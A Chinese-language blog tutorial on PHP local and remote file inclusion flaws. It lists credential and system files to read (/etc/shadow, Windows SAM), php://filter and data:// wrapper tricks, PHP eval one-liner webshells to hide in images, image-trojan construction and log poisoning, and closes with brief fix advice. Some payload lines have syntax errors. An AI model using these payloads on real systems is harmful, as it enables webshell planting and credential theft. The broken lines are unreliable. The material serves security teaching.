文件包含漏洞

什么是文件包含?

开发者在开发PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当做PHP来执行,这会为开发者节省大量的时间。
文件包含漏洞如何产生的?
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
php.ini设置中allow_url_include=on/off开关
开启意味可能存在远程包含(源程序代码可能存在过滤等情况),关闭意味不存在远程包含。
大多数web语言都可以使用文件包含操作,其中PHP语言所提供的文件包含功能太强大,太灵活,所以包含漏洞经常出现在PHP语言中。
漏洞分类:
根据包含的位置不同分为:
本地包含(LFI):包含本地的文件,当作脚本代码执行。
远程包含(RFI):包含远程上的一些文件,当作脚本代码去执行。
PHP包含函数:
在PHP中主要有以下几个包含函数:
include
include_once
require
require_once
包含函数介绍:
Include():
当使用该函数包含文件时,只有代码执行include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
include_once():
功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次。
require():
require()与Include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
使用require()函数包含文件时,只要程序以执行,立即调用文件,而include()只有程序执行到该函数时才调用。
require_once():
它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
漏洞危害:
文件包含漏洞是一种危害比较大的漏洞,尤其是远程文件包含,其最大的危害就是能直接获取WebShell,如果站点存在文件包含漏洞,那么一切的防御措施就会变的毫无意义!
既然能够包含,也就意味着把文件拿来使用。
漏洞利用原理
在这里插入图片描述
PHP的配置选项allow_url_include为ON的话,则include/require函数可以加载远程文件,这种漏洞被称为"远程文件包含漏洞(Remote File Inclusion RFI)"。

allow_url_fopen = On 是否允许打开远程文件
allow_url_include = On 是否允许include/require远程文件

注意:如果是包含远程服务器上的PHP文件,那么得到的是被远程服务器解析过的PHP,所以在写一句话木马的时候就不要做成.php的文件,一般包含.txt的文件

漏洞靶场实战

Windows敏感文件:
c:\boot.ini 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml IIS配置文件
c:\windows\repair\sam 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini Mysql配置
c:\ProgramFiles\mysql\data\mysql\user.MYD MySQL root密码
c:\windows\php.ini php配置信息
Linux敏感文件:
/etc/passwd 账户信息
/etc/shadow 账户密码文件
/user/local/app/apache2/conf/httpd.conf Apache2默认配置文件
/user/local/app/apache2/conf/extra/httpd-vhost.conf 虚拟网站配置
/user/local/app/php5/lib/php.ini PHP相关配置
/etc/httpd/conf/httod.conf Apache配置文件
/etc/my.conf mysql配置文件
利用PHP封装协议读取文件或源码:
file://C:\Windows\win.ini
php://filter/read=convert.base64-enconde/resource=index.php
还可以使用PHP伪协议去造成代码执行:
php://input、zip://、data://等伪协议去执行代码
写入一句话:
将下列代码写入图片:

<?php fputs(fopen('shell.php','w'),'<?php @eval(\$_POST['x']);?>')>
<?php file_put_contents('1111.php',<?php @eval($_POST['x']);?>');?>

此代码会创建一个shell.php,我们只需要将这个图片包含进去即可。
图片马制作:
写入版权或备注信息
使用copy 1.jpg/b+help.php/a shell.jpg
其他思路
试想下:假设一个站点存在文件包含漏洞,但是没有上传点,我们想要获取该站点的Webshell时该怎么办?
利用日志文件码,将一句话记录到日志,利用包含漏洞将日志包含。
常见的日志:http://blog.csdn.net/qq_36119192/article/details/102956230
漏洞修复建议
白名单过滤
将需要包含的文件写死
黑名单过滤
.(点)/(反斜杠)(反斜杠)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值